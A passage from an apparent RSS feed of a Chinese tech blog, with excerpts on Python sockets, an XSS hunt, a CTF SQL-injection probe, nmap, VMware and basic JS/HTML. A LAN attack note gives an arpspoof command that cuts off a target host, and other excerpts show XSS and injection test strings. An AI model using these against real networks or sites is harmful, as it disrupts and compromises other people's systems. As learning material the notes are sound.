&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;sock&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;send&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Hello, &lt;/span&gt;&lt;span class="si"&gt;%s&lt;/span&gt;&lt;span class="s1"&gt;!&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;utf-8&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;utf-8&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;sock&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Connection from &lt;/span&gt;&lt;span class="si"&gt;%s&lt;/span&gt;&lt;span class="s1"&gt;:&lt;/span&gt;&lt;span class="si"&gt;%s&lt;/span&gt;&lt;span class="s1"&gt; closed.&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 接受一个新连接:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;sock&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;addr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;accept&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 创建新线程来处理TCP连接:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;threading&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Thread&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;tcplink&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sock&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;start&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;配合客户端：&lt;/p&gt;</description></item><item><title>一次xss实战</title><link>https://saucer-man.com/information_security/52.html</link><pubDate>Tue, 07 Aug 2018 03:19:00 +0000</pubDate><guid>https://saucer-man.com/information_security/52.html</guid><description>&lt;p&gt;特此说明：本次实战仅为一次xss漏洞挖掘过程，&lt;strong&gt;不删改正规网站的数据库/网页，不对网站进行恶意入侵，&lt;/strong&gt; 并将漏洞提交给了网站管理员。&lt;/p&gt;
&lt;h2 id="实战"&gt;&lt;strong&gt;实战&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;目标网站是一个美工网站，为了方便注册一下，登陆之后进入我的资料：&lt;/p&gt;
&lt;p&gt;&lt;img src="https://saucer-man.com/usr/uploads/sina/5cc5cfd26d217.jpg" alt=""&gt;&lt;/p&gt;
&lt;p&gt;首先对每个可输入的地方进行测试,插入一些特殊字符看有没有被过滤。例如直接在昵称处输入&lt;code&gt;&amp;lt;script&amp;gt;alert(xss)&amp;lt;/script&amp;gt;&lt;/code&gt;，但是每个地方都进行了基于白名单的过滤：&lt;/p&gt;</description></item><item><title>实验吧CTF题之认真一点</title><link>https://saucer-man.com/information_security/51.html</link><pubDate>Wed, 01 Aug 2018 03:18:00 +0000</pubDate><guid>https://saucer-man.com/information_security/51.html</guid><description>&lt;p&gt;打开页面发现是一个输入框，根据输入的id判断此id是否存在。&lt;/p&gt;
&lt;p&gt;&lt;img src="https://saucer-man.com/usr/uploads/sina/5cc5cfcf7e073.jpg" alt=""&gt;&lt;/p&gt;
&lt;p&gt;如上图，如果存在则显示you are in ,否则显示you are not in。&lt;/p&gt;
&lt;p&gt;随手输入几个&lt;code&gt;1&lt;/code&gt;，&lt;code&gt;admin&lt;/code&gt;,&lt;code&gt;1'&lt;/code&gt;,&lt;code&gt;1 and 1=1&lt;/code&gt;,&lt;code&gt;1 and 1=2&lt;/code&gt;&amp;hellip;,发现当输入&lt;code&gt;1 and 1=1&lt;/code&gt;时返回&lt;code&gt;Sql injection detected!&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://saucer-man.com/usr/uploads/sina/5cc5cfcfd0552.jpg" alt=""&gt;&lt;/p&gt;
&lt;p&gt;于是可以判断出这里存在对某些关键词的过滤。&lt;/p&gt;</description></item><item><title>nmap主机发现</title><link>https://saucer-man.com/information_security/50.html</link><pubDate>Sun, 29 Jul 2018 03:17:00 +0000</pubDate><guid>https://saucer-man.com/information_security/50.html</guid><description>&lt;p&gt;关于nmap以前已经总结过端口扫描的用法，&lt;a href="https://saucer-man.com/information_security/30.html"&gt;传送门&lt;/a&gt;。但是在上篇博客中，nmap扫描的部分说的比较粗略，今天主要分析一下nmap在主机发现方面的用法。&lt;/p&gt;
&lt;p&gt;主机发现，顾名思义即探测目标网络中存活的主机，更多的是用于内网渗透。&lt;/p&gt;
&lt;h2 id="1--sp-ping"&gt;1. -sP (ping)&lt;/h2&gt;
&lt;p&gt;该选项告诉nmap仅仅进行ping扫描，不做其他过多的探测（如端口扫描、操作系统探测等）&lt;/p&gt;
&lt;p&gt;&lt;code&gt;-sP&lt;/code&gt;选项在默认情况下， 发送一个ICMP回声请求和一个TCP报文到80端口。如果非特权用户执行，就发送一个SYN报文 (用connect()系统调用)到目标机的80端口。 当特权用户扫描局域网上的目标机时，会发送ARP请求(-PR)，除非使用了&lt;code&gt;--send-ip&lt;/code&gt;选项。 &lt;code&gt;-sP&lt;/code&gt;选项可以和除&lt;code&gt;-P0&lt;/code&gt;)之外的任何发现探测类型&lt;code&gt;-P*&lt;/code&gt; 选项结合使用以达到更大的灵活性。 一旦使用了任何探测类型和端口选项，默认的探测(ACK和回应请求)就被覆盖了。 当防守严密的防火墙位于运行Nmap的源主机和目标网络之间时， 推荐使用那些高级选项。否则，当防火墙捕获并丢弃探测包或者响应包时，一些主机就不能被探测到。&lt;/p&gt;</description></item><item><title>python操作excel实践</title><link>https://saucer-man.com/python/49.html</link><pubDate>Fri, 20 Jul 2018 03:16:00 +0000</pubDate><guid>https://saucer-man.com/python/49.html</guid><description>&lt;h2 id="需求"&gt;&lt;strong&gt;需求&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;最近在公司大数据处理部门实习，但是也没有什么事情，换了个地方学习而已。第一天给了我一个任务，将数据分类，虽然无聊但是答应了就开始干呗。&lt;/p&gt;
&lt;p&gt;好了之后需要对每种情况进行统计，首先根据C列数据分类，如果C列数据为空，那么就根据B列数据进行分类。如下图：&lt;/p&gt;</description></item><item><title>python多进程</title><link>https://saucer-man.com/python/48.html</link><pubDate>Mon, 09 Jul 2018 03:15:00 +0000</pubDate><guid>https://saucer-man.com/python/48.html</guid><description>&lt;p&gt;以下主要是python程序实现多进程的方法&lt;/p&gt;
&lt;h2 id="1fork"&gt;&lt;strong&gt;1.fork()&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Unix/Linux操作系统提供了一个&lt;code&gt;fork()&lt;/code&gt;系统调用，它非常特殊。普通的函数调用，调用一次，返回一次，但是fork()调用一次，返回两次，因为操作系统自动把当前进程（称为父进程）复制了一份（称为子进程），然后，分别在父进程和子进程内返回。&lt;/p&gt;</description></item><item><title>python从列表字典集合中筛选数据</title><link>https://saucer-man.com/python/47.html</link><pubDate>Mon, 02 Jul 2018 03:14:00 +0000</pubDate><guid>https://saucer-man.com/python/47.html</guid><description>&lt;p&gt;这篇就录怎么在列表集合字典中根据需要筛选数据。&lt;/p&gt;
&lt;h2 id="1-筛选出数字列表中的正数"&gt;&lt;strong&gt;1. 筛选出数字列表中的正数&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;假如我们有一个数字列表,其中的数字有正有负,这时候如果我们只想要其中的正数,那么我们怎么样快速得到去除负数后的列表呢?&lt;/p&gt;
&lt;p&gt;一般我们都会想要最简单但是也是最耗时的方法&amp;ndash;迭代.
首先我们创造一个随机列表:&lt;/p&gt;</description></item><item><title>vmware虚拟机网络配置说明</title><link>https://saucer-man.com/network/46.html</link><pubDate>Sat, 16 Jun 2018 03:14:00 +0000</pubDate><guid>https://saucer-man.com/network/46.html</guid><description>&lt;p&gt;本文转载自https://note.youdao.com/share/?id=236896997b6ffbaa8e0d92eacd13abbf&amp;amp;type=note#/。&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;由于linux目前很热门，越来越多的人在学习linux，但是买一台服务放家里来学习，实在是很浪费。那么如何解决这个问题？虚拟机软件是很好的选择，常用的虚拟机软件有vmware workstations和virtual box等。在使用虚拟机软件的时候，很多初学者都会遇到很多问题，而vmware的网络连接问题是大家遇到最多问题之一。在学习交流群里面，几乎每天都会有同学问到这些问题，写这篇详解也是因为群里童鞋网络出故障，然后在帮他解决的过程中，对自己的理解也做一个总结。接下来，我们就一起来探讨一下关于vmware workstations网络连接的三种模式。&lt;/p&gt;</description></item><item><title>局域网攻击笔记</title><link>https://saucer-man.com/information_security/45.html</link><pubDate>Tue, 12 Jun 2018 03:12:00 +0000</pubDate><guid>https://saucer-man.com/information_security/45.html</guid><description>&lt;p&gt;攻击环境 kali虚拟机
网卡 eth0&lt;br&gt;
目标ip 192.168.1.145
网关 192.168.1.1&lt;/p&gt;
&lt;h3 id="1-寻找局域网其他主机"&gt;1. 寻找局域网其他主机&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fping -asg 192.168.1.0/24
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="2局域网断网攻击"&gt;2.局域网断网攻击&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;arpspoof -i 网关 -t 目标ip 网关
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;arpspoof -i eth0 -t 192.168.1.145 192.168.1.1
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;原理&lt;/p&gt;
&lt;p&gt;目标&amp;ndash;&amp;gt; 我的网卡&amp;ndash;&amp;gt; 网关&lt;/p&gt;
&lt;p&gt;可能发生arpspoof: couldn&amp;rsquo;t arp for host 错误：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;保证虚拟机和目标主机可以ping的通&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;换成桥接模式&lt;/p&gt;</description></item><item><title>dvwa之xss漏洞详解</title><link>https://saucer-man.com/information_security/44.html</link><pubDate>Sun, 10 Jun 2018 03:12:00 +0000</pubDate><guid>https://saucer-man.com/information_security/44.html</guid><description>&lt;h2 id="0-xss简介"&gt;&lt;strong&gt;0. xss简介&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;XSS，全称Cross Site Scripting，即跨站脚本攻击，某种意义上也是一种注入攻击，是指攻击者在页面中注入恶意的脚本代码，当受害者访问该页面时，恶意代码会在其浏览器上执行，需要强调的是，XSS不仅仅限于JavaScript，还包括flash等其它脚本语言。&lt;/p&gt;</description></item><item><title>ip地址的分配原理详解</title><link>https://saucer-man.com/network/43.html</link><pubDate>Fri, 08 Jun 2018 03:10:00 +0000</pubDate><guid>https://saucer-man.com/network/43.html</guid><description>&lt;h2 id="1-ip地址概述"&gt;&lt;strong&gt;1. ip地址概述&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;互联网中有数百万台的主机和路由器，为了确切的标识它们，TCP/IP建立了一套编址方案，为每台主机和路由器分配一个全网唯一的地址，即IP地址。任何两台主机的ip地址不能相同，但是允许一个主机拥有多个ip地址。&lt;/p&gt;
&lt;h2 id="2-ip地址结构及分类"&gt;&lt;strong&gt;2. ip地址结构及分类&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;这里介绍的是ipv4版本的ip地址，也是大家现阶段都在用的ip地址。&lt;/p&gt;</description></item><item><title>js笔记</title><link>https://saucer-man.com/front_end/41.html</link><pubDate>Sat, 02 Jun 2018 03:08:00 +0000</pubDate><guid>https://saucer-man.com/front_end/41.html</guid><description>&lt;p&gt;以前的js学习笔记，放在网上随时查阅，也随时补充吧。&lt;/p&gt;
&lt;h2 id="1-语句"&gt;1. 语句&lt;/h2&gt;
&lt;p&gt;JavaScript 语句向浏览器发出的命令。语句的作用是告诉浏览器该做什么。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;document.getElementById(&amp;#34;demo&amp;#34;).innerHTML = &amp;#34;你好 Dolly&amp;#34;;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;分号用于分隔 JavaScript 语句。可以在文本字符串中使用反斜杠对代码行进行换行。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;document.write(&amp;#34;你好 \
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;世界!&amp;#34;);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="2-注释"&gt;2. 注释&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;单行注释以 // 开头。&lt;/li&gt;
&lt;li&gt;多行注释以 /* 开始，以 */ 结尾。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;使用 JavaScript 脚本在页面中输出一个字符串，将 JavaScript 脚本编写在 HTML 注释中，如果浏览器支持 JavaScript 将输出此字符串，如果不支持将不输出此字符串，代码如下:&lt;/p&gt;</description></item><item><title>js操作日期基本格式</title><link>https://saucer-man.com/front_end/40.html</link><pubDate>Fri, 01 Jun 2018 03:07:00 +0000</pubDate><guid>https://saucer-man.com/front_end/40.html</guid><description>&lt;p&gt;突然想给网站底部加上网站运行时间，于是自己动手撸了一个简单的代码段。&lt;/p&gt;
&lt;h2 id="1-js获取当前时间"&gt;1. js获取当前时间&lt;/h2&gt;
&lt;p&gt;首先得了解js怎么获取到时间。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; var date=new Date();
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; //Fri Jun 01 2018 20:28:06 GMT+0800 (中国标准时间) 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; var year=date.getFullYear();
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; //获取完整的年份(4位,如2018)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; var month=date.getMonth(); 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; //获取当前月(0-11)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; var day=date.getDate();
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; //获取当前日(1-31)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; var day=date.getDay();
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; //获取当前星期几(0-6,0代表周日)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; var time=date.getTime();
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; //从1970.1.1开始到现在经历的毫秒数
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; var hour=date.getHours();
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; //获取当前小时数(0-23)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; var minute=date.getMinutes();
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; //获取当前分钟数(0-59)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; var second=date.getSeconds();
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; //获取当前秒数(0-59)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; var millisecond=date.getMilliseconds();
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; //获取当前毫秒数(0-999)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; var d=date.toLocaleDateString(); 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; //获取当前日期(例如2018/6/1)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; var s=date.toLocaleTimeString();
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; //获取当前时间(例如下午8:48:42)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; var ds=date.toLocaleString();
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; //获取日期和时间(例如 2018/6/1 下午8:49:21)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;实例(输出该网站已经运行&amp;hellip;..):&lt;/p&gt;</description></item><item><title>html基本标签</title><link>https://saucer-man.com/front_end/39.html</link><pubDate>Wed, 30 May 2018 03:06:00 +0000</pubDate><guid>https://saucer-man.com/front_end/39.html</guid><description>&lt;h2 id="0-前言"&gt;0. 前言&lt;/h2&gt;
&lt;p&gt;偶尔会用到html，但是长时间不写很多标签都忘了，简略总结一下方便以后查阅。&lt;/p&gt;
&lt;h2 id="1-html格式"&gt;1. html格式&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;html&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;head&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;meta&lt;/span&gt; &lt;span class="na"&gt;charset&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;utf-8&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;title&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;xiaogeng.top&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;title&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;head&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;body&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;h1&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;我的第一个标题&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;h1&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;p&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;我的第一个段落。&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;p&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;body&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;html&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="2-标题"&gt;2. 标题&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;h1&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;这是一个标题。&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;h1&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;h2&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;这是一个标题。&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;h2&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;h3&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;这是一个标题。&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;h3&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="3-水平线"&gt;3. 水平线&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;p&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;这是一个段落。&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;p&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;hr&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;p&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;这是一个段落。&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;p&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;hr&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;p&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;这是一个段落。&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;p&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
